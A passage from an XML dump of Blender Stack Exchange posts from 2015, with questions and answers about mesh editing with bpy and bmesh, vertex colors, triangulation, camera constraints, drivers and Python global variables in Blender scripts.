  <row Id="30839" PostTypeId="2" ParentId="30837" CreationDate="2015-05-14T10:44:07.150" Score="7" Body="&lt;p&gt;What you're asking for is this:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using ops&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# if named..&#xA;# obj = bpy.data.objects['IcoSphere']  &#xA;obj = bpy.context.active_object  &#xA;me = obj.data&#xA;&#xA;# must be in object mode, to refresh face selections and data&#xA;bpy.ops.object.mode_set(mode = 'OBJECT') &#xA;&#xA;faces = me.polygons&#xA;for f in faces:&#xA;    f.select = (f.normal.y &amp;lt; 0.0)&#xA;&#xA;# to remove using this method we switch to edit mode, and back after removal.&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT') &#xA;bpy.ops.mesh.delete(type='FACE')&#xA;bpy.ops.object.mode_set(mode = 'OBJECT') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is essentially a scripted walk through of what you would be doing if you inspected each face normal and selected only those that had a negative y coordinate, then at the end it would delete the selected faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other ways to do this, but this might give some insight. This is the after shot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cH5NB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using bmesh&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;See: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TextEditor -&gt; Templates -&gt; Python -&gt; Bmesh Simple&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bmesh.ops.html?highlight=bmesh#bmesh.ops.delete&quot; rel=&quot;nofollow noreferrer&quot;&gt;bmesh.ops docs&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;warning, the &lt;em&gt;context&lt;/em&gt; parameter of bmesh.ops delete is a little undocumented, but is described &lt;a href=&quot;https://blender.stackexchange.com/a/1542/47&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.active_object  &#xA;me = obj.data&#xA;&#xA;bm = bmesh.new()   # create an empty BMesh&#xA;bm.from_mesh(me)   # fill it in from a Mesh&#xA;&#xA;faces = [f for f in bm.faces if (f.normal.y &amp;lt; 0.0)]&#xA;&#xA;bmesh.ops.delete(bm, geom=faces, context=5)&#xA;&#xA;# Finish up, write the bmesh back to the mesh&#xA;bm.to_mesh(me)&#xA;bm.free()  # free and prevent further access&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-05-14T10:59:10.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30840" PostTypeId="1" CreationDate="2015-05-14T12:16:21.997" Score="3" ViewCount="992" Body="&lt;p&gt;I use Blender mainly for creating architectural renders. I love Cycles, it's nodes, quality, realism, everything about it, except for it's speed and noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An indoor night-time scene with a lot of small light-sources seemed almost impossible, somehow I've managed to do it but I had to pull all kinds of node-tricks to get a relative low-noise render and still lasted 5 hours per image (1800x1200) on a mid-high range GPU to get acceptable results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative render engine for arch-viz? It doesn't have to be completely free, but has to work on GPU, should be well-integrated into Blender, node-based engines are preferred. Cycles would be perfect without the noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input, and sorry for asking but I have no time to try all the existing external renderers, since there are so many of them now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="14330" LastActivityDate="2015-05-14T13:24:59.290" Title="Which external renderer should I use for architectural visualization?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30841" PostTypeId="1" CreationDate="2015-05-14T12:30:53.907" Score="7" ViewCount="11408" Body="&lt;p&gt;I'm a beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible (and if so, how) to select a single vertex and change its color? I tried the &quot;Vertex paint&quot; mode, but couldn't find a way to select a single vertex and view its color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is to encode data with the vertex color so that my game engine will be able to act on that vertex differently, while the actual in-game color of that vertex will be determined by the UV coords and texture I apply. I'm using FBX as binary format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO this is a very basic functionality which should be exposed from GUI, so if someone here can open a feature request, that would be great.&lt;/p&gt;&#xA;" OwnerUserId="14363" LastEditorUserId="14363" LastEditDate="2015-05-15T10:52:26.970" LastActivityDate="2015-05-18T10:02:22.750" Title="How to view vertex' colors?" Tags="&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30842" PostTypeId="2" ParentId="30841" CreationDate="2015-05-14T13:01:40.490" Score="2" Body="&lt;p&gt;The Blender UI does not offer a way to view/set the color of an individual vertex. Normally, you set the color of a face as the vertex has no width. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a vertex to show a specific (visible) color, then you can align a cylinder on the vertex (with very small radius) and paint that cylinder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access the vertex details from the Python console.&lt;/p&gt;&#xA;" OwnerUserId="3154" LastActivityDate="2015-05-14T13:01:40.490" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30843" PostTypeId="1" CreationDate="2015-05-14T13:09:01.587" Score="3" ViewCount="256" Body="&lt;p&gt;I am very new to Blender, but I downloaded the official Sintel production files. Has anyone got experience with them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can render frames from some scenes, but they look very different from the real movie and it seems some textures and effects are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need any more information, I can also share some files.&lt;/p&gt;&#xA;" OwnerUserId="14364" LastActivityDate="2015-05-14T13:09:01.587" Title="Render Scenes from Sintel movie realistically" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30844" PostTypeId="2" ParentId="30840" CreationDate="2015-05-14T13:24:59.290" Score="3" Body="&lt;p&gt;You would choose a raytracer that has features that are required for architecture projects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example is &lt;a href=&quot;http://www.yafaray.org/&quot; rel=&quot;nofollow&quot;&gt;YafaRay&lt;/a&gt;. YafaRay supports &lt;a href=&quot;http://www.yafaray.org/documentation/features&quot; rel=&quot;nofollow&quot;&gt;features like Global Illumination and Background Illumination&lt;/a&gt; which are specifically useful for architecture visualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles has Global Illumination (since a few years ago) and I am not sure that it has as good Background Illumination as YafaRay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;YafaRay is distributed with an open license and you can use for free. It is designed to be used with Blender.&lt;/p&gt;&#xA;" OwnerUserId="3154" LastActivityDate="2015-05-14T13:24:59.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30845" PostTypeId="2" ParentId="30841" CreationDate="2015-05-14T14:10:06.993" Score="10" Body="&lt;p&gt;A single vertex can have multiple colors at the same time, because it can belong to multiple faces (with different colors). The vertex colors are stored per face loops and not in vertices themselves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sx7RV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex colors can be viewed in Vertex Paint mode. In this mode individual vertices can also be edited with brushes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HJNzO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drawing can be constrained to selected faces, but not selected vertices. Blender doesn't allow this from the UI like other software you mentioned (Max). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the colors to individual face-loop vertices with python like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ipoly in range(len(ob.data.polygons)):&#xA;    for ivertex in ob.data.polygons[ipoly].loop_indices:&#xA;        ob.data.vertex_colors[&quot;col&quot;].data[ivertex].color = (R,G,B)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a script that when run in Text editor will add panel to properties (&lt;kbd&gt;N&lt;/kbd&gt;) so you can assign vertex colors to vertices in edit-mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qRucJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The viewing of vertex colors is still best in vertex paint mode, having this in panel would clutter it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;class VertexColEditPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Vertex Colors&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(self, context):&#xA;        ob = context.active_object&#xA;        try:&#xA;            return ob and ob.type == 'MESH' and ob.mode == 'EDIT'&#xA;        except (AttributeError, KeyError, TypeError):&#xA;            return False&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        bm = bmesh.from_edit_mesh(context.active_object.data)&#xA;        if bm.select_mode != {'VERT'}:&#xA;            layout.label(&quot;Vertex select only&quot;, icon = 'INFO')&#xA;            return&#xA;        selected = [vert.index for vert in bm.verts if vert.select]&#xA;        if not selected:&#xA;            layout.label(&quot;Nothing selected&quot;, icon = 'INFO')&#xA;        else:&#xA;            layout.template_list(&quot;MESH_UL_uvmaps_vcols&quot;, &quot;vcols&quot;, context.active_object.data, &quot;vertex_colors&quot;, context.active_object.data.vertex_colors, &quot;active_index&quot;, rows=1)&#xA;            row = layout.row(align=True)&#xA;            row.prop(context.scene, 'color_picker', text=&quot;&quot;)&#xA;            row.operator(&quot;vertex_col.apply&quot;)&#xA;&#xA;class ApplyVertCol(bpy.types.Operator):&#xA;    bl_idname = &quot;vertex_col.apply&quot;&#xA;    bl_label = &quot;Assign&quot;&#xA;    bl_description = &quot;Assign color to selected vertices for selected vertex color layer&quot;&#xA;&#xA;    def execute(self, context):&#xA;        me = context.active_object.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;        selected = [vert.index for vert in bm.verts if vert.select]&#xA;        bpy.ops.object.mode_set(mode='EDIT', toggle=True)&#xA;        for face in me.polygons:&#xA;            for vert_idx, loop_idx in zip(face.vertices, face.loop_indices):&#xA;                if vert_idx in selected:&#xA;                    me.vertex_colors[me.vertex_colors.active_index].data[loop_idx].color = context.scene.color_picker&#xA;        bpy.ops.object.mode_set(mode='EDIT', toggle=True)&#xA;        return{'FINISHED'}&#xA;&#xA;bpy.utils.register_module(__name__)&#xA;bpy.types.Scene.color_picker = bpy.props.FloatVectorProperty(subtype='COLOR_GAMMA', default=(1,1,1), min=0.0, max=1.0, description=&quot;Color Picker&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-18T09:08:10.407" LastActivityDate="2015-05-18T09:08:10.407" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30846" PostTypeId="1" AcceptedAnswerId="30847" CreationDate="2015-05-14T14:17:07.487" Score="1" ViewCount="1237" Body="&lt;p&gt;I have a mesh that has been created in MakeHuman. I have imported it into blender to apply some python scripts on it. But, they require that the mesh must be triangular. So, my question is, is there any way to convert from quad to triangular mesh in blender or even MakeHuman?&lt;/p&gt;&#xA;" OwnerUserId="14329" LastEditorUserId="241" LastEditDate="2015-05-14T14:41:57.323" LastActivityDate="2015-05-14T15:44:12.230" Title="Converting from quads to triangulated mesh" Tags="&lt;animation&gt;&lt;makehuman&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ClosedDate="2015-05-14T16:18:38.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="30847" PostTypeId="2" ParentId="30846" CreationDate="2015-05-14T14:25:47.933" Score="5" Body="&lt;p&gt;Select your object. Enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and press &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to tirangulate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tdbur.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tools has a few options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDLpA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Beauty&lt;/strong&gt; Split the quads in nice triangles, slower method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fixed&lt;/strong&gt; Split the quads on the 1st and 3rd vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fixed Alternate&lt;/strong&gt; Split the quads on the 2nd and 4th vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shortest Diagonal&lt;/strong&gt; Split the quads based on the distance between the vertices.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-14T15:44:12.230" LastActivityDate="2015-05-14T15:44:12.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30848" PostTypeId="2" ParentId="30846" CreationDate="2015-05-14T14:36:20.983" Score="5" Body="&lt;p&gt;While, in your case, cegaton's answer is likely simpler, just for completeness there's also the Triangulate modifier:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JBdT2.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying the modifier and going into Edit mode, the cylinder looks like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qXNXu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-05-14T14:36:20.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30849" PostTypeId="2" ParentId="30846" CreationDate="2015-05-14T14:43:15.577" Score="5" Body="&lt;p&gt;And to complete the answers: You don't have to triangulate the mesh for python at all if you don't care about vertex order..you can use something like &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_2/info_gotcha.html#info-gotcha-mesh-faces&quot; rel=&quot;noreferrer&quot;&gt;mesh.tessfaces&lt;/a&gt; which will represent your polygons triangulated.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-05-14T14:43:15.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30851" PostTypeId="1" AcceptedAnswerId="30853" CreationDate="2015-05-14T15:05:07.783" Score="3" ViewCount="197" Body="&lt;p&gt;I am just starting out with Blender and am trying to create a simulation of a tethered kite that has a fixed GoPro camera mounted to its rope looking down towards the ground along the rope. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have created a 2D 8-shape path in the xy plane &quot;up in the air&quot; and used constraints on the camera to create the movement. Using the Follow Path constraint I was able to get the camera to follow the path along with its orientation (rotation around the z axis). &#xA;Using the Limit Distance constraint I set the rope length to a fixed value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing missing now is the camera orientation towards the origin of the rope. I tried this using the Track to constraint and tracking the camera to an object on the ground at the origin of the rope. When I track it to the z-axis I get a view along the rope as desired. However, I don't want a fixed &quot;Up&quot; axis as used by the constraint (see animation below, the camera keeps rotation left and right as opposed to a fixed camera). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/msJPu.gif&quot; alt=&quot;example animation path&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rather want to use the direction of the path to create the realistic rotation while still tracking the origin of the rope. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to achieve this or are there other better/easier approaches to get the results that I'm trying to get? &lt;/p&gt;&#xA;" OwnerUserId="14366" LastEditorUserId="2217" LastEditDate="2015-05-14T15:29:50.003" LastActivityDate="2015-05-14T15:58:32.993" Title="Animate 8-shape kite flight pattern with fixed camera mounted to it" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;camera&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30852" PostTypeId="1" CreationDate="2015-05-14T15:34:27.737" Score="7" ViewCount="203" Body="&lt;p&gt;The animation I'm planning involves zooming in on a stainless steel ruler all the way down to the atomic structure in a single shot which would involve passing through the following levels of detail:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Shiny brushed stainless steel ruler with numbers and markings as additional texture (photo realistic).&lt;/li&gt;&#xA;&lt;li&gt;Etched depressions that make up the markings.&lt;/li&gt;&#xA;&lt;li&gt;Scratches / pitting that make up the brushed texture.&lt;/li&gt;&#xA;&lt;li&gt;Grain boundaries* (see note below).&lt;/li&gt;&#xA;&lt;li&gt;Packing of atoms within the crystal grain.&lt;/li&gt;&#xA;&lt;li&gt;Individual atom within a crystal grain (fuzzy ball of questions &amp;amp; confusion).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;*note: steel at the atomic level consists of grains of crystal clumped together where the atoms that make up each grain are arranged in an orderly matrix, the grain boundaries are where the axis of the different grains don't line up.&lt;/p&gt;&#xA;&lt;p&gt;So my question is what plugins and techniques can people suggest to accomplish this as painlessly as possible.&lt;/p&gt;&#xA;&lt;p&gt;I'm thinking I may be able to approach it by modelling a large enough patch at each detail level to just fill up the camera and then somehow stealthily transition between the texture at the larger level and the detailed model at each stage as the magnification increases.&lt;/p&gt;&#xA;&lt;p&gt;Alternately via the python API generating a dynamic texture dependent on the current zoom level of the camera something like a fractal texture [just spit-balling here - haven't even looked at the API yet].&lt;/p&gt;&#xA;" OwnerUserId="14369" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-15T16:05:43.683" Title="Advice on how to approach scene involving zooming down to atomic scale?" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;workflow&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30853" PostTypeId="2" ParentId="30851" CreationDate="2015-05-14T15:53:32.353" Score="3" Body="&lt;p&gt;Instead of &lt;em&gt;Track To&lt;/em&gt; use the &lt;em&gt;Damped Track&lt;/em&gt; constraint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h16KN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That results in this motion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9OTiL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orbiting a cube from above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MvqG7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-14T15:58:32.993" LastActivityDate="2015-05-14T15:58:32.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30854" PostTypeId="1" CreationDate="2015-05-14T16:20:24.000" Score="11" ViewCount="1410" Body="&lt;p&gt;I would like to project photographs as decal textures from multiple cameras onto some simple geometry to build a photo projected environment.  The UV Project modifier seems perfect for this, especially since it's a live projection (unlike UV Mapping -&gt; Project From View) that can be changed interactively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I found that the texture is projected forwards AND backwards onto the geometry (In other words: projected along both the positive and negative axis of the vector normal to the camera), even though I have &quot;decal&quot;ed the texture using the Mapping node with Min/Max turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a workaround for this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jeyt5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14368" LastEditorUserId="14368" LastEditDate="2015-05-14T18:57:43.640" LastActivityDate="2019-10-03T15:03:25.637" Title="Cycles, UV Project Camera Modifier projects forwards and backwards" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30855" PostTypeId="1" AcceptedAnswerId="30856" CreationDate="2015-05-14T16:26:01.840" Score="1" ViewCount="504" Body="&lt;p&gt;I have a gear and it needs to rotate two full turns (720 degrees) to open a door which should move up for a length of three blender units. The transform works for about 180 degrees then the door falls back to the start point.&#xA;There is no difference if I'm addressing the transform Rotation Constraint to the gear or if I'm using 'the door Open Empty' and rotating that object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know a solution? &lt;/p&gt;&#xA;" OwnerUserId="13006" LastEditorUserId="241" LastEditDate="2015-05-14T16:48:26.070" LastActivityDate="2015-05-14T16:48:26.070" Title="Transform Rotation into location problem" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30856" PostTypeId="2" ParentId="30855" CreationDate="2015-05-14T16:36:33.657" Score="1" Body="&lt;p&gt;Add driver to the location property with right-clicking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Jh7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup the driver like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fe8g8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the Empty's Z rotation controls the object location. &lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-05-14T16:36:33.657" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30857" PostTypeId="2" ParentId="30832" CreationDate="2015-05-14T16:42:56.233" Score="2" Body="&lt;p&gt;Blender can map the images from that other piece of software on a plane.  Consider the object in the middle as a plane with your ... transparent/alpha file.png sequence as a texture.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is a Blender site I may be promoting Blender in the extreme.  Perhaps all the work can be done in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3d View Render has pixel compositing to blend image sequences layer by layer with many (after) effects.  The video sequence editor has features for more simple composition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is always interesting to know what some other program can do that Blender can not.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-14T16:42:56.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30858" PostTypeId="1" AcceptedAnswerId="30879" CreationDate="2015-05-14T17:31:02.970" Score="3" ViewCount="1513" Body="&lt;p&gt;As you can see on the images below, my problem is when I crease an edge to get sharpness with &quot;Subdivision surface&quot; modifier on, eventually, I get that pointed convex edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I avoid this 'bug' without complicating the topology, because obviously &quot;mean crease&quot; doesn't work, as well as making vertex group of the vertices on this edge and using it with the &quot;Bevel&quot; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend-file: &lt;a href=&quot;https://yadi.sk/d/AtQSze6ogdbd4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://yadi.sk/d/AtQSze6ogdbd4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IWz1L.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ND38k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14370" LastEditorUserId="14370" LastEditDate="2015-05-15T11:20:47.057" LastActivityDate="2015-05-15T11:31:11.200" Title="Creasing edge with &quot;Subdivision surface&quot; modifier on rounded surface" Tags="&lt;mesh&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30859" PostTypeId="2" ParentId="30852" CreationDate="2015-05-14T17:45:31.167" Score="-1" Body="&lt;p&gt;You could try changing the clipping on the camera object so that the bounds are very large, allowing for it to see things very far away AND close up, and making the whole ruler extremely large. You could also change the lens length of the camera with keyframes, to add to the zooming effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is a very hacky and clunky solution; see below.&lt;/p&gt;&#xA;" OwnerUserId="7806" LastEditorUserId="7806" LastEditDate="2015-05-15T04:14:46.427" LastActivityDate="2015-05-15T04:14:46.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30860" PostTypeId="2" ParentId="21620" CreationDate="2015-05-14T17:47:12.097" Score="0" Body="&lt;p&gt;I have the same problem. I create global variable and then access it from two different classes: button changes it +1, panel draws it. However, while panel can always draw it, button CAN NOT change it - and yes, I used the global keyword inside the button class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some digging, my answer is: Blender can not create Python's global variables directly in a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My explanation of &quot;Why?&quot; comes from understanding of Blender internals:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Blender developers decided that everything should go through Blender's API&lt;/li&gt;&#xA;&lt;li&gt;If everything goes through Blender's API, Blender can save it to a .blend file, which makes user happy&lt;/li&gt;&#xA;&lt;li&gt;If something goes around or works outside of Blender API, it can't be saved in .blend file (the Blender simply does not know about it) and some users would surely cry&lt;/li&gt;&#xA;&lt;li&gt;Blender's Script is always executed (for any action) whole again - thus our wanna-be global variable is created, changed, forgotten, created, changed, forgotten, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Consider this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_var = 1&#xA;&#xA;def my_func():&#xA;     global my_var&#xA;     my_var = 2&#xA;&#xA;print(my_var)&#xA;my_func()&#xA;print(my_var)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On Windows with Python 3.4, its double run leads to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Python34\python test.py&#xA;1&#xA;2&#xA;C:\Python34\python test.py&#xA;1&#xA;2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected, python enviroment was terminated after first run and all its context was forgotten. When run be second time, Windows allocated new memory for the Python, where the code was executed again as new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one would expect in Blender, whose thread/process is still running that such global variable would be remembered. IT IS NOT. Its double run using Text&gt;Run Script or Alt+P twice in Blender's Text Editor mode leads to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;2&#xA;1&#xA;2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of expected&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;2&#xA;2&#xA;3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I do understand the need to save everything properly into .blend file, I do not agree with the Blender's policy: Use my API or Die. I am writing GPLed CAD for Blender and I will use my own portable HDF5 file to store scientific data properly. Blender is used only for visualisation and volume definition. So it does not need to and should not depend on .blend file at all (remember, portability). I want use python's global variables for my UI, but I can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three workarounds are possible:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Blender's types from bpy module&lt;/li&gt;&#xA;&lt;li&gt;Write another module with a python's global variable in it and import it into your script.&lt;/li&gt;&#xA;&lt;li&gt;Save your variable into file and load it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hopefully, the Blender Developers will change their mind in future and will allow classic global variables in one script. Until then, I recommend the second option - import your another module with global variable in it. Just for completeness, the first crazy-for-beginner option may look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Material.my_float = bpy.props.FloatProperty(name=&quot;unique-name-of-my-float&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second option with new python module named my_module.py with single 